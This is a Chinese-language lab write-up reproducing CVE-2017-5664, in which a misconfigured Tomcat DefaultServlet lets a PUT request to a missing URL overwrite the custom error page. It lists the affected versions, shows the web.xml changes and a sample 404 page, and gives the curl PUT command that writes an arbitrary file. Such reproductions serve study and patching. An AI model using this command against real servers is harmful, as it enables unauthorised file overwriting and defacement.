简介
Java Servlet规范中的错误页面机制有一个要求:当出现错误并且已为该错误配置了错误页面时,原始请求和响应会被传递给错误页面。这就意味着将使用原始的HTTP方法将请求传递给错误页面。如果错误页面是一个静态文件,我们期望的行为是,就像处理GET请求一样,提供文件的内容,而不管实际的HTTP方法是什么。
然而,在Apache Tomcat的某些版本中存在一个问题。具体地说,在9.0.0.M1到9.0.0.M20、8.5.0到8.5.14、8.0.0.RC1到8.0.43以及7.0.0到7.0.77版本的Default Servlet中,它未能按照期望的方式处理静态错误页面。这可能导致一些意外和不希望的结果,特别是如果DefaultServlet被配置为允许写入,那么可能会替换或删除自定义错误页面。
对于其他用户提供的错误页面,有一些需要注意的事项:
- 对于JSP,除非明确编码了其他方式,它们会忽略HTTP方法。所以,如果将JSP用作错误页面,必须确保它们将任何错误调度看作是GET请求,而不管实际的方法是什么类型的请求。
- 对于自定义Servlet,默认情况下,它们生成的响应会取决于HTTP方法。所以,如果将自定义Servlet用作错误页面,必须确保它们将任何错误调度看作是GET请求,而不管实际的方法是什么类型的请求。
复现
准备工作
准备tomcat
CVE-2017-5664漏洞影响的Apache Tomcat版本如下
Apache Tomcat 9.0.0.M1至 9.0.0.M20
Apache Tomcat 8.5.0 至 8.5.14
Apache Tomcat 8.0.0.RC1 至 8.0.43
Apache Tomcat 7.0.0 至 7.0.77
本次复现我们选择tomcat-8.0.39
进行复现
修改tomcat配置文件
在 conf/web.xml
中找到DefaultServlet
标签并添加readonly
属性为false
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>true</param-value> </init-param> <load-on-startup>1</load-on-startup> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> </servlet>
|
在 conf/web.xml
中的web-app
标签中配置自定义的404页面
1 2 3 4
| <error-page> <error-code>404</error-code> <location>/404.html</location> </error-page>
|
自定义的404.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 - Page Not Found</title> <style> body { font-family: 'Arial', sans-serif; background-color: #eeeeee; color: #333; text-align: center; margin: 100px; }
.container { max-width: 600px; margin: auto; }
h1 { color: #d9534f; }
p { font-size: 18px; margin-top: 20px; color: #777; }
img { width: 100%; max-width: 400px; margin-top: 20px; } .cat{ width: 100%; height: 1450px; } </style> </head> <body> <div class="container"> <h1>Oops! Page Not Found</h1> <p>Sorry, the page you are looking for might be in another castle.</p> <p>Modify 404 Page</p> <p>Let's catch the cat!</p> </div> <iframe class="cat" src="https://faixin.cn/games/cat/" frameborder="0"></iframe> </body> </html>
|
将404.html放进webapps/ROOT
中
复现步骤
浏览器访问tomcat主页
访问一个不存在的url
可以看到成功跳转到了我们自定义的404页面
下面我们向这个页面发送PUT请求提交我们自己重写的404.html或者任意文件
1
| curl -i http://localhost:8089/nonExistURL -T /path/to/your/404.html
|
可以看到404页面已经被重写
进入tomcat目录查看
可以看到文件已经被写入
覆盖操作同理